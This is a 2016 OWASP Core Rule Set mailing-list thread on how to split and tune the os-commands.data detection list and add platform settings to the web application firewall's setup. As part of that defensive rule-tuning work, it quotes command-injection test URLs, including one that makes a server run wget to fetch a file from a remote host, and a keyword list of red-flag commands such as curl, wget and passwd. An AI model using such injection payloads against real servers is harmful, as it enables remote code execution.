Hi there, There has not been any additional feedback in this thread, but I think the question is not settled as of this writing.
Thoughts? Regs, Christian On Sun, Feb 07, 2016 at 08:55:30PM +0100, Christian Folini wrote: > Hi there, > > On Sat, Feb 06, 2016 at 11:04:00PM +0100, Walter Hop wrote: > > I like the idea of splitting the file. > > Cool. > > > I agree some of the words in os-commands.data seem rather paranoid. Words > > like "choice", "help", "now” seem of low value and are common in natural > > text. Also, the large number of Unix-only environments could skip Windows > > related commands. It’s hard for users to modify these lists as you’d have > > to hack the CRS, and these huge collections are to maintain anyhow, so I > > agree we need granularity. > > Good point. > > > The rule has some regexp magic to prevent false positives, but the balance > > is not a complete success in my opinion. For instance, the following URLs > > don't trigger in CRSv3: > > http://vuln/?cmd=wget%20http://example.com/blah.txt > > http://vuln/?cmd=sh%20blah.txt > > > > So it's not as strong as you would want either to prevent some common RCE. > > Something like http://vuln/?cmd=Wget%20http://example.com/;%20ecHo does > > trigger it. > > I see. Good observations. > > > 1) I think that a user should check their desired platforms in the setup > > conf. In fact, this would be great to do anyway in the initial 3.0.0 > > release even if we DON'T look at it in any rule yet. Specifying platform > > types will pave the way for reducing false positives and false negatives by > > skipping unnecessary checks and being more strict on the right platforms. > > So we could start by listing these platforms in the existing rule in the > > setup conf. Example: > > > > SecAction \ > > "id:'900024', \ > > phase:1, \ > > t:none, \ > > setvar:tx.unix=1, \ > > setvar:tx.windows=1, \ > > setvar:tx.java=1, \ > > setvar:tx.php=1, \ > > That makes a lot of sense. At first sight. > > I think that a default install should come with these rulesets > all enabled and a sysadmin can then switch them of if we is aware that > there is no php in his service. > > So given the following two scenarios > #1 - Newbie sysadmin installs ModSec and runs into a lot of false positives > because he does not disable unneeded rulesets > #2 - Newbie sysadmin installs ModSec and is p0wned because he does not enable > the php protection > I strongly favour #1. > > A vanilla install of the core rules should give you a full coverage for all > types of services and a decent security level. Reducing false positives by > omitting certain rules (ideally rules which provide no value for your setup) > is the very idea of tuning. > Reducing the initial number of false positives by moving certain rules > with a worse relationsship between added security and false positives, > that is the idea of the paranoia mode. > > Chaim stated in a different message, that the rules are now organised > into files aimed at certain environments. So switching them off is > fairly easy. And there are the tags on top of it. > So you have tag:'language-PHP' and setting SecRuleRemoveByTag will > disable them all very easily. > > So I think, we do not need these variables. > > > (By the way: I think it’s unfortunate that a user has to use value 1 to > > enable a check. An undefined variable will mean that the CRS will skip some > > rules. This makes it dangerous to introduce a new variable in the CRS > > later; all existing installations MUST then add this variable to their > > setup rule immediately, or suffer from reduced security. It’s better to use > > a scheme that defaults to “on”. A convention like “tx.disable_mysql=1” > > would be user unfriendly and error-prone. But we could check for an > > explicit “off” string, e.g. “setvar:tx.mysql=off”. If it’s not “off” then > > assume that the user DOES want the check. I think it’s important to get > > this right in 3.0.0, it will be more painful to do it later.) > > That's a very good observation. I had a similar idea once. > > In programming, you usually start with a default value and then > the users overrides the default value. If he wants to. > > I am not sure how modsecurity_crs_10_setup.conf.example is going to > be transformed to work seamlessly with 3.0. But this makes the > setting of default values a bit tricky. > > Maybe a file REQUEST-02-DEFAULTS.conf could set default values > if certain variables are not set. > > > 2) Separate the words into multiple lists: > > os-commands-critical.data (absolute red flag list: "curl", "passwd", > > "sh", "uname", "wget" etc.) > > os-commands-paranoid.data (absolute low value, but high FP natural > > words like "choice") > > os-commands-windows.data (all Windows commands) > > os-commands-common.data (all other commands) > > Makes some sense. Too granular is difficult and you mix various > grouping criteria (criticality, paranoia, os), which makes is a > bit hard to follow. > > Other opinions? > > > 3) Review the current regexp against some test data and CRSv2 to make it > > more sensitive > > Good plan. Maybe this could be done in a separate pull request. > I am afraid to overload the paranoia mode pull request... > > Ahoj, > > Christian > > > -- > In war you will generally find that the enemy has at any time > three courses of action open to him. Of those three, he will > invariably choose the fourth. > -- Helmuth Von Moltke > _______________________________________________ > Owasp-modsecurity-core-rule-set mailing list > Owasp-modsecurity-core-rule-set@lists.owasp.org > https://lists.owasp.org/mailman/listinfo/owasp-modsecurity-core-rule-set -- mailto:christian.fol...@netnea.com http://www.christian-folini.ch twitter: @ChrFolini _______________________________________________ Owasp-modsecurity-core-rule-set mailing list Owasp-modsecurity-core-rule-set@lists.owasp.org https://lists.owasp.org/mailman/listinfo/owasp-modsecurity-core-rule-set
